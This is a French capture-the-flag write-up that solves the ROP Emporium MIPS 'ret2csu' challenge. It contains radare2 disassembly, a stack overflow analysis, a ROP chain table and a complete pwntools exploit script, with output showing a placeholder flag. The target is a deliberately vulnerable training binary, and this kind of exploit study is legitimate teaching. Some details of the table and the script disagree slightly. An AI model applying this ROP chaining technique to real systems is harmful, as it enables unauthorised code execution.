Ropemporium mipsel ret2csu
mipsel ret2csu
Introduction
Dans cet exercice, on doit appeller ret2win avec les paramètres convenus mais on dispose de peu de gadgets.
L’énoncé ropemporium : ret2csu
Découverte
Le contenu du challenge
-rw-r--r-- 1 jce jce 32 5 juil. 2020 encrypted_flag.dat
-rw-r--r-- 1 jce jce 32 5 juil. 2020 key.dat
-rwxr-xr-x 1 jce jce 11724 6 juil. 2020 libret2csu_mipsel.so
-rwxr-xr-x 1 jce jce 7884 6 juil. 2020 ret2csu_mipsel
Première execution
# ./ret2csu_mipsel
ret2csu by ROP Emporium
MIPS
Check out https://ropemporium.com/challenge/ret2csu.html for information on how to solve this challenge.
> AAAAAAAAAAABBBBBBBBBBCCCCCCCCCCC
Thank you!
Bus error (core dumped)
Analyse
### Le programme principal
La fonction mains appelle la fonction pwnme sui se trouve dans la librairie.
[0x004006f0]> pdf @ sym.main
┌ 76: int main (int32_t argc);
│ ; arg int32_t argc @ fp+0x10
│ ; var int32_t var_10h @ sp+0x10
│ ; var int32_t var_18h @ sp+0x18
│ ; var int32_t var_1ch @ sp+0x1c
│ 0x00400890 e0ffbd27 addiu sp, sp, -0x20
│ 0x00400894 1c00bfaf sw ra, (var_1ch)
│ 0x00400898 1800beaf sw fp, (var_18h)
│ 0x0040089c 25f0a003 move fp, sp
│ 0x004008a0 42001c3c lui gp, 0x42 ; 'B'
│ 0x004008a4 10909c27 addiu gp, gp, -0x6ff0
│ 0x004008a8 1000bcaf sw gp, (var_10h)
│ 0x004008ac 5080828f lw v0, -sym._MIPS_STUBS_(gp) ; [0x411060:4]=0x400a50 sym.imp.pwnme
│ 0x004008b0 25c84000 move t9, v0
│ 0x004008b4 09f82003 jalr t9
│ 0x004008b8 00000000 nop
│ 0x004008bc 1000dc8f lw gp, (var_10h)
│ 0x004008c0 25100000 move v0, zero
│ 0x004008c4 25e8c003 move sp, fp
│ 0x004008c8 1c00bf8f lw ra, (var_1ch)
│ 0x004008cc 1800be8f lw fp, (var_18h)
│ 0x004008d0 2000bd27 addiu sp, sp, 0x20
│ 0x004008d4 0800e003 jr ra
└ 0x004008d8 00000000 nop
On retrouve aussi une fonction usefulFunction
appelle la fonction ret2win
importée elle aussi de la libririe dynamique.
[0x004006f0]> pdf @ sym.usefulFunction
┌ 88: sym.usefulFunction (int32_t arg1, int32_t arg2, int32_t arg3, int32_t arg_10h);
│ ; arg int32_t arg_10h @ fp+0x10
│ ; var int32_t var_10h @ sp+0x10
│ ; var int32_t var_18h @ sp+0x18
│ ; var int32_t var_1ch @ sp+0x1c
│ ; arg int32_t arg1 @ a0
│ ; arg int32_t arg2 @ a1
│ ; arg int32_t arg3 @ a2
│ 0x004008dc e0ffbd27 addiu sp, sp, -0x20
│ 0x004008e0 1c00bfaf sw ra, (var_1ch)
│ 0x004008e4 1800beaf sw fp, (var_18h)
│ 0x004008e8 25f0a003 move fp, sp
│ 0x004008ec 42001c3c lui gp, 0x42 ; 'B'
│ 0x004008f0 10909c27 addiu gp, gp, -0x6ff0
│ 0x004008f4 1000bcaf sw gp, (var_10h)
│ 0x004008f8 03000624 addiu a2, zero, 3 ; arg3
│ 0x004008fc 02000524 addiu a1, zero, 2 ; arg2
│ 0x00400900 01000424 addiu a0, zero, 1 ; arg1
│ 0x00400904 4880828f lw v0, -sym.imp.ret2win(gp) ; [0x411058:4]=0x400a60 sym.imp.ret2win
│ 0x00400908 25c84000 move t9, v0
│ 0x0040090c 09f82003 jalr t9
│ 0x00400910 00000000 nop
│ 0x00400914 1000dc8f lw gp, (var_10h)
│ 0x00400918 00000000 nop
│ 0x0040091c 25e8c003 move sp, fp
│ 0x00400920 1c00bf8f lw ra, (var_1ch)
│ 0x00400924 1800be8f lw fp, (var_18h)
│ 0x00400928 2000bd27 addiu sp, sp, 0x20
│ 0x0040092c 0800e003 jr ra
└ 0x00400930 00000000 nop
Cette fonction nous permet de voir que ret2win attend 3 paramètres.
En outre les tables PLT et GOT possèdent de ce fait une entrée ret2win
.
Notre exploitation doit donc consister à appeller ret2win avec les paramètres convenus.
La fonction __libc_csu_init
[0x00400904]> pdf @ sym.__libc_csu_init
┌ 164: sym.__libc_csu_init ();
│ ; var int32_t var_10h @ sp+0x10
│ ; var int32_t var_1ch @ sp+0x1c
│ ; var int32_t var_20h @ sp+0x20
│ ; var int32_t var_24h @ sp+0x24
│ ; var int32_t var_28h @ sp+0x28
│ ; var int32_t var_2ch @ sp+0x2c
│ ; var int32_t var_30h @ sp+0x30
│ ; var int32_t var_34h @ sp+0x34
│ 0x00400940 02001c3c lui gp, 2
│ 0x00400944 d0869c27 addiu gp, gp, -0x7930
│ 0x00400948 21e09903 addu gp, gp, t9
│ 0x0040094c c8ffbd27 addiu sp, sp, -0x38
│ 0x00400950 2880998f lw t9, -sym._init(gp) ; [0x411038:4]=0x400670 sym..init
│ 0x00400954 1000bcaf sw gp, (var_10h)
│ 0x00400958 3000b5af sw s5, (var_30h)
│ 0x0040095c 25a8c000 move s5, a2
│ 0x00400960 2c00b4af sw s4, (var_2ch)
│ 0x00400964 25a0a000 move s4, a1
│ 0x00400968 2800b3af sw s3, (var_28h)
│ 0x0040096c 25988000 move s3, a0
│ 0x00400970 2400b2af sw s2, (var_24h)
│ 0x00400974 1c00b0af sw s0, (var_1ch)
│ 0x00400978 3400bfaf sw ra, (var_34h)
│ 0x0040097c 3cff1104 bal sym._init
│ 0x00400980 2000b1af sw s1, (var_20h)
│ 0x00400984 1000bc8f lw gp, (var_10h)
│ 0x00400988 2c80908f lw s0, -obj.__CTOR_LIST__(gp) ; [0x41103c:4]=0x410ff0 loc.__init_array_start
│ 0x0040098c 2c80928f lw s2, -obj.__CTOR_LIST__(gp) ; [0x41103c:4]=0x410ff0 loc.__init_array_start
│ 0x00400990 23905002 subu s2, s2, s0
│ 0x00400994 83901200 sra s2, s2, 2
│ ┌─< 0x00400998 09004012 beqz s2, 0x4009c0
│ │ 0x0040099c 25880000 move s1, zero
│ │ ; CODE XREF from sym.__libc_csu_init @ 0x4009b8
│ ┌──> 0x004009a0 0000198e lw t9, (s0) ; [0x410ff0:4]=-1
│ ╎│ 0x004009a4 01003126 addiu s1, s1, 1
│ ╎│ 0x004009a8 2530a002 move a2, s5
│ ╎│ 0x004009ac 25288002 move a1, s4
│ ╎│ 0x004009b0 09f82003 jalr t9
│ ╎│ 0x004009b4 25206002 move a0, s3
│ └──< 0x004009b8 f9ff5116 bne s2, s1, 0x4009a0
│ │ 0x004009bc 04001026 addiu s0, s0, 4
│ │ ; CODE XREF from sym.__libc_csu_init @ 0x400998
│ └─> 0x004009c0 3400bf8f lw ra, (var_34h)
│ 0x004009c4 3000b58f lw s5, (var_30h)
│ 0x004009c8 2c00b48f lw s4, (var_2ch)
│ 0x004009cc 2800b38f lw s3, (var_28h)
│ 0x004009d0 2400b28f lw s2, (var_24h)
│ 0x004009d4 2000b18f lw s1, (var_20h)
│ 0x004009d8 1c00b08f lw s0, (var_1ch)
│ 0x004009dc 0800e003 jr ra
└ 0x004009e0 3800bd27 addiu sp, sp, 0x38
La librairie libret2csu_mipsel.so
Le code de la fonction ret2win est assez conséquent. On va juste focaliser sur le début et la vérification des paramètres :
0x00000710]> pdf @ sym.ret2win
┌ 1188: sym.ret2win (int32_t arg1, int32_t arg2, int32_t arg_10h, int32_t arg_18h, int32_t arg_1ch, int32_t arg_28h, int32_t arg_2ch, int32_t arg_30h);
│ ; arg int32_t arg_10h @ fp+0x10
│ ; arg int32_t arg_18h @ fp+0x18
│ ; arg int32_t arg_1ch @ fp+0x1c
│ ; arg int32_t arg_28h @ fp+0x28
│ ; arg int32_t arg_2ch @ fp+0x2c
│ ; arg int32_t arg_30h @ fp+0x30
│ ; var int32_t var_10h @ sp+0x38
│ ; var int32_t var_18h @ sp+0x40
│ ; var int32_t var_1ch @ sp+0x44
│ ; var int32_t var_20h @ sp+0x48
│ ; var int32_t var_24h @ sp+0x4c
│ ; arg int32_t arg1 @ a0
│ ; arg int32_t arg2 @ a1
│ 0x000009cc 02001c3c lui gp, 2
│ 0x000009d0 24969c27 addiu gp, gp, -0x69dc
│ 0x000009d4 21e09903 addu gp, gp, t9
│ 0x000009d8 d8ffbd27 addiu sp, sp, -0x28
│ 0x000009dc 2400bfaf sw ra, (var_24h)
│ 0x000009e0 2000beaf sw fp, (var_20h)
│ 0x000009e4 25f0a003 move fp, sp
│ 0x000009e8 1000bcaf sw gp, (var_10h)
│ 0x000009ec 2800c4af sw a0, (arg_28h)
│ 0x000009f0 2c00c5af sw a1, (arg_2ch)
│ 0x000009f4 3000c6af sw a2, (arg_30h)
│ 0x000009f8 1c00c0af sw zero, (var_1ch)
│ 0x000009fc 2800c38f lw v1, (arg_28h) ; [0x178000:4]=0
│ ; fp
│ 0x00000a00 adde023c lui v0, 0xdead
│ 0x00000a04 efbe4234 ori v0, v0, 0xbeef
│ ┌─< 0x00000a08 58006214 bne v1, v0, 0xb6c
│ │ 0x00000a0c 00000000 nop
│ │ 0x00000a10 2c00c38f lw v1, (arg_2ch)
│ │ 0x00000a14 feca023c lui v0, 0xcafe
│ │ 0x00000a18 beba4234 ori v0, v0, 0xbabe
│ ┌──< 0x00000a1c 53006214 bne v1, v0, 0xb6c
│ ││ 0x00000a20 00000000 nop
│ ││ 0x00000a24 3000c38f lw v1, (arg_30h)
│ ││ 0x00000a28 0dd0023c lui v0, 0xd00d
│ ││ 0x00000a2c 0df04234 ori v0, v0, 0xf00d
│ ┌───< 0x00000a30 4e006214 bne v1, v0, 0xb6c
On voit que les paramètres contenus dans les registres a0, a1 et a2 sont stockés dans des variables locales (fp+28, fp+2c, fp+30) puis comparés aux valeurs 0xdeadbeef, cafebabe, f00df00d.
La fonction vulnérable
┌ 316: sym.pwnme (int32_t arg1, int32_t arg3, int32_t arg_10h, int32_t arg_18h);
│ ; arg int32_t arg_10h @ fp+0x10
│ ; arg int32_t arg_18h @ fp+0x18
│ ; var int32_t var_10h @ sp+0x10
│ ; var int32_t var_18h @ sp+0x18
│ ; var int32_t var_38h @ sp+0x38
│ ; var int32_t var_3ch @ sp+0x3c
│ ; arg int32_t arg1 @ a0
│ ; arg int32_t arg3 @ a2
│ 0x00000890 02001c3c lui gp, 2
│ 0x00000894 60979c27 addiu gp, gp, -0x68a0
│ 0x00000898 21e09903 addu gp, gp, t9
│ 0x0000089c c0ffbd27 addiu sp, sp, -0x40
│ 0x000008a0 3c00bfaf sw ra, (var_3ch)
│ 0x000008a4 3800beaf sw fp, (var_38h)
│ 0x000008a8 25f0a003 move fp, sp
│ 0x000008ac 1000bcaf sw gp, (var_10h)
│ 0x000008b0 4080828f lw v0, -0x7fc0(gp) ; [0x12030:4]=0
│ 0x000008b4 0000428c lw v0, (v0)
│ 0x000008b8 25380000 move a3, zero
│ 0x000008bc 02000624 addiu a2, zero, 2 ; arg3
│ 0x000008c0 25280000 move a1, zero
│ 0x000008c4 25204000 move a0, v0
│ 0x000008c8 4c80828f lw v0, -sym.imp.setvbuf(gp) ; [0x1203c:4]=0xf40 sym.imp.setvbuf
│ 0x000008cc 25c84000 move t9, v0
│ 0x000008d0 09f82003 jalr t9
│ 0x000008d4 00000000 nop
│ 0x000008d8 1000dc8f lw gp, (var_10h)
│ 0x000008dc 2880828f lw v0, -0x7fd8(gp) ; [0x12018:4]=0
│ 0x000008e0 e00f4424 addiu a0, v0, str.ret2csu_by_ROP_Emporium ; 0xfe0 ; "ret2csu by ROP Emporium" ; arg1
│ 0x000008e4 5880828f lw v0, -sym.imp.puts(gp) ; [0x12048:4]=0xf20 sym.imp.puts
│ 0x000008e8 25c84000 move t9, v0
│ 0x000008ec 09f82003 jalr t9
│ 0x000008f0 00000000 nop
│ 0x000008f4 1000dc8f lw gp, (var_10h)
│ 0x000008f8 2880828f lw v0, -0x7fd8(gp) ; [0x12018:4]=0
│ 0x000008fc f80f4424 addiu a0, v0, str.MIPS_n ; 0xff8 ; "MIPS\n" ; arg1
│ 0x00000900 5880828f lw v0, -sym.imp.puts(gp) ; [0x12048:4]=0xf20 sym.imp.puts
│ 0x00000904 25c84000 move t9, v0
│ 0x00000908 09f82003 jalr t9
│ 0x0000090c 00000000 nop
│ 0x00000910 1000dc8f lw gp, (var_10h)
│ 0x00000914 20000624 addiu a2, zero, 0x20 ; arg3
│ 0x00000918 25280000 move a1, zero
│ 0x0000091c 1800c227 addiu v0, fp, 0x18
│ 0x00000920 25204000 move a0, v0
│ 0x00000924 4880828f lw v0, -sym.imp.memset(gp) ; [0x12038:4]=0xf50 sym.imp.memset
│ 0x00000928 25c84000 move t9, v0
│ 0x0000092c 09f82003 jalr t9
│ 0x00000930 00000000 nop
│ 0x00000934 1000dc8f lw gp, (var_10h)
│ 0x00000938 2880828f lw v0, -0x7fd8(gp) ; [0x12018:4]=0
; "Check out https://ropemporium.com/challenge/ret2csu.html for information on how to solve this challenge.\n" ;
│ 0x0000093c 00104424 addiu a0, v0, str.Check_out_https:
│ 0x00000940 5880828f lw v0, -sym.imp.puts(gp) ; [0x12048:4]=0xf20 sym.imp.puts
│ 0x00000944 25c84000 move t9, v0
│ 0x00000948 09f82003 jalr t9
│ 0x0000094c 00000000 nop
│ 0x00000950 1000dc8f lw gp, (var_10h)
│ 0x00000954 2880828f lw v0, -0x7fd8(gp) ; [0x12018:4]=0
│ 0x00000958 6c104424 addiu a0, v0, 0x106c ; arg1
│ 0x0000095c 6880828f lw v0, -sym.imp.printf(gp) ; [0x12058:4]=0xee0 sym.imp.printf
│ 0x00000960 25c84000 move t9, v0
│ 0x00000964 09f82003 jalr t9
│ 0x00000968 00000000 nop
│ 0x0000096c 1000dc8f lw gp, (var_10h)
│ 0x00000970 00020624 addiu a2, zero, 0x200 ; arg3
│ 0x00000974 1800c227 addiu v0, fp, 0x18
│ 0x00000978 25284000 move a1, v0
│ 0x0000097c 25200000 move a0, zero
│ 0x00000980 7080828f lw v0, -sym._MIPS_STUBS_(gp) ; [0x12060:4]=0xed0 sym.imp.read
│ 0x00000984 25c84000 move t9, v0
│ 0x00000988 09f82003 jalr t9
│ 0x0000098c 00000000 nop
│ 0x00000990 1000dc8f lw gp, (var_10h)
│ 0x00000994 2880828f lw v0, -0x7fd8(gp) ; [0x12018:4]=0
│ 0x00000998 70104424 addiu a0, v0, str.Thank_you_ ; 0x1070 ; "Thank you!" ; arg1
│ 0x0000099c 5880828f lw v0, -sym.imp.puts(gp) ; [0x12048:4]=0xf20 sym.imp.puts
│ 0x000009a0 25c84000 move t9, v0
│ 0x000009a4 09f82003 jalr t9
│ 0x000009a8 00000000 nop
│ 0x000009ac 1000dc8f lw gp, (var_10h)
│ 0x000009b0 00000000 nop
│ 0x000009b4 25e8c003 move sp, fp
│ 0x000009b8 3c00bf8f lw ra, (var_3ch)
│ 0x000009bc 3800be8f lw fp, (var_38h)
│ 0x000009c0 4000bd27 addiu sp, sp, 0x40
│ 0x000009c4 0800e003 jr ra
└ 0x000009c8 00000000 nop
On s’intéresse à l’lecture sur stdin.
│ 0x00000970 00020624 addiu a2, zero, 0x200 ; arg3
│ 0x00000974 1800c227 addiu v0, fp, 0x18
│ 0x00000978 25284000 move a1, v0
│ 0x0000097c 25200000 move a0, zero
│ 0x00000980 7080828f lw v0, -sym._MIPS_STUBS_(gp) ; [0x12060:4]=0xed0 sym.imp.read
│ 0x00000984 25c84000 move t9, v0
│ 0x00000988 09f82003 jalr t9
│ 0x0000098c 00000000 nop
La taille lue est de 512 octets dans la variable fp+0x18 on a donc un débordement après 0x20 octets.
## Construction de l'exploitation
### Recherche de gadgets.
Pour appeler ret2win avec les 3 paramètres attendus il nous faut charger les registres a0,a1 et a2.
libc_csu_init contient ce gadget :
│ ┌──> 0x004009a0 0000198e lw t9, (s0) ; [0x410ff0:4]=-1
│ ╎│ 0x004009a4 01003126 addiu s1, s1, 1
│ ╎│ 0x004009a8 2530a002 move a2, s5
│ ╎│ 0x004009ac 25288002 move a1, s4
│ ╎│ 0x004009b0 09f82003 jalr t9
│ ╎│ 0x004009b4 25206002 move a0, s3
│ └──< 0x004009b8 f9ff5116 bne s2, s1, 0x4009a0
│ │ 0x004009bc 04001026 addiu s0, s0, 4
│ └─> 0x004009c0 3400bf8f lw ra, (var_34h)
│ 0x004009c4 3000b58f lw s5, (var_30h)
│ 0x004009c8 2c00b48f lw s4, (var_2ch)
│ 0x004009cc 2800b38f lw s3, (var_28h)
│ 0x004009d0 2400b28f lw s2, (var_24h)
│ 0x004009d4 2000b18f lw s1, (var_20h)
│ 0x004009d8 1c00b08f lw s0, (var_1ch)
│ 0x004009dc 0800e003 jr ra
└ 0x004009e0 3800bd27 addiu sp, sp, 0x38
Ce qui nous intéresse d’abord c’est :
│ ╎│ 0x004009a8 2530a002 move a2, s5
│ ╎│ 0x004009ac 25288002 move a1, s4
│ ╎│ 0x004009b0 09f82003 jalr t9
│ ╎│ 0x004009b4 25206002 move a0, s3
Pour valoriser s3,s4 et s5 on a la seconde partie :
0x004009c0 3400bf8f lw ra, (var_34h)
0x004009c4 3000b58f lw s5, (var_30h)
0x004009c8 2c00b48f lw s4, (var_2ch)
0x004009cc 2800b38f lw s3, (var_28h)
0x004009d0 2400b28f lw s2, (var_24h)
0x004009d4 2000b18f lw s1, (var_20h)
0x004009d8 1c00b08f lw s0, (var_1ch)
0x004009dc 0800e003 jr ra
0x004009e0 3800bd27 addiu sp, sp, 0x38
L’instruction “0x004009b0 jalr t9” doit être inhibée en placant dans t9 une adresse de gadget neutre. Pour charger t9 on a l’instruction avant le move a2,s5 :
0x004009a0 0000198e lw t9, (s0)
0x004009a8 2530a002 move a2, s5
0x004009ac 25288002 move a1, s4
0x004009b0 09f82003 jalr t9
0x004009b4 25206002 move a0, s3
Comme dans la version x64 du challenge on doit trouver une adresse à charger dans s0 qui contiennt une gadget neutre.
On a en particulier cette référence :
┌ 8: sym.__libc_csu_fini ();
│ 0x004009e4 0800e003 jr ra
└ 0x004009e8 00000000 nop
0x004009ec 00000000 nop
Cette fonction réservée qui implicitement ne fait rien est référencées dans la section .dynsym
[0x004003c0]> pxw 48 @sym..dynsym
0x004003cc 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x004003dc 0x000000bf 0x004009e4 0x00000008 0x000d0012 ......@.........
ici
0x004003ec 0x0000001c 0x00000001 0x00000000 0xfff10013 ................
La commande d’analyse des reférences nous précise :
[0x004003c0]> axt 0x004009e4
(nofunc) 0x4003e0 [UNKNOWN] invalid
On retient donc .dynsym+0x14 comme addresse à charger dans s0.
La chaine de rop
ROP entry | gadget | comment |
---|---|---|
0x004009c0 | gadget2 | charge les registres |
0xdeadbeef | junk | Pour atteindre sp+0x1c |
0xdeadbeef | junk | |
0xdeadbeef | junk | |
0xdeadbeef | junk | |
0xdeadbeef | junk | |
0xdeadbeef | junk | |
0xdeadbeef | junk | |
0x4003e0 | .synsym+20 | pour s0 puis t9 |
1 | 1 | pour s1 |
2 | 2 | pour s2 en vue de s2==s1+1 |
0xdeadbeef | 0xdeadbeef | pour s3 puis a0 |
0xcafebabe | 0xcafebabe | pour s4 puis a1 |
0xcafebabe | 0xcafebabe | pour s5 puis a2 |
0x004009a0 | gadget1 | Affactation de a0,a1,a2 et call |
———– | parametres de gadget1 | |
0xdeadbeef | junk | |
… | … | 12 fois |
0x00400a5c | ret2win | Appel final |
Exploitation
Script python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time
# Set up pwntools for the correct architecture
elf = context.binary = ELF('ret2csu_mipsel')
context.terminal=["/usr/bin/xterm", "-fa", "Monospace", "-fs","12", "-e"]
gs='''
b *pwnme+308
c
'''
# Gadgets
# Gadget1
'''
0x004009a0 lw t9, (s0)
0x004009a4 addiu s1, s1, 1
0x004009a8 move a2, s5
0x004009ac move a1, s4
0x004009b0 jalr t9
0x004009b4 move a0, s3
0x004009b8 bne s2, s1, 0x4009a0
0x004009bc addiu s0, s0, 4
0x004009c0 lw ra, (var_34h)
0x004009c4 lw s5, (var_30h)
0x004009c8 lw s4, (var_2ch)
0x004009cc lw s3, (var_28h)
0x004009d0 lw s2, (var_24h)
0x004009d4 lw s1, (var_20h)
0x004009d8 lw s0, (var_1ch)
0x004009dc jr ra
0x004009e0 addiu sp, sp, 0x38
'''
gadget1 = 0x004009a0
'''
Gadget2
0x004009c0 lw ra, (var_34h)
0x004009c4 lw s5, (var_30h)
0x004009c8 lw s4, (var_2ch)
0x004009cc lw s3, (var_28h)
0x004009d0 lw s2, (var_24h)
0x004009d4 lw s1, (var_20h)
0x004009d8 lw s0, (var_1ch)
0x004009dc jr ra
0x004009e0 addiu sp, sp, 0x38
'''
gadget2 = 0x004009c0
if len(sys.argv)>1 and sys.argv[1] == "-d":
io = gdb.debug([elf.path],gdbscript=gs)
else:
io = process([elf.path])
# Section .dynamic
dynamic_s = elf.get_section_by_name('.dynsym').header['sh_addr']
ret2win = elf.plt["ret2win"]
log.info(f"{ret2win=:x}")
log.info(f"{dynamic_s=:x}")
offset=0x24
PL=b"A"*offset
PL+=p32(gadget2) # ra
for _ in range(7):
PL+=p32(0xdeadbeef)
PL+=p32(dynamic_s+0x14) # s0
PL+=p32(1) # s1
PL+=p32(2) # s2 prepare s1+1=s2
PL+=p32(0xdeadbeef) # s3 => a0 ensuite
PL+=p32(0xcafebabe) # s4 => a1 ensuite
PL+=p32(0xd00df00d) # s5 => a3 ensuite
PL+=p32(gadget1) # ra
for _ in range(13):
PL+=p32(0xdeadbeef)
PL+=p32(ret2win) # ra
io.sendlineafter(b"> ", PL)
io.recvuntil(b"ROPE")
flag=io.recvline().decode()
log.success(f"flag : ROPE{flag}")
io.close()
Execution
[*] '/w/ropemporium/mipsel/08_ret2csu/ret2csu_mipsel'
Arch: mips-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[+] Starting local process '/w/ropemporium/mipsel/08_ret2csu/ret2csu_mipsel': pid 788
[*] ret2win=400a5c
[*] dynamic_s=4003cc
[+] flag : ROPE{a_placeholder_32byte_flag!}
[*] Stopped process '/w/ropemporium/mipsel/08_ret2csu/ret2csu_mipsel' (pid 788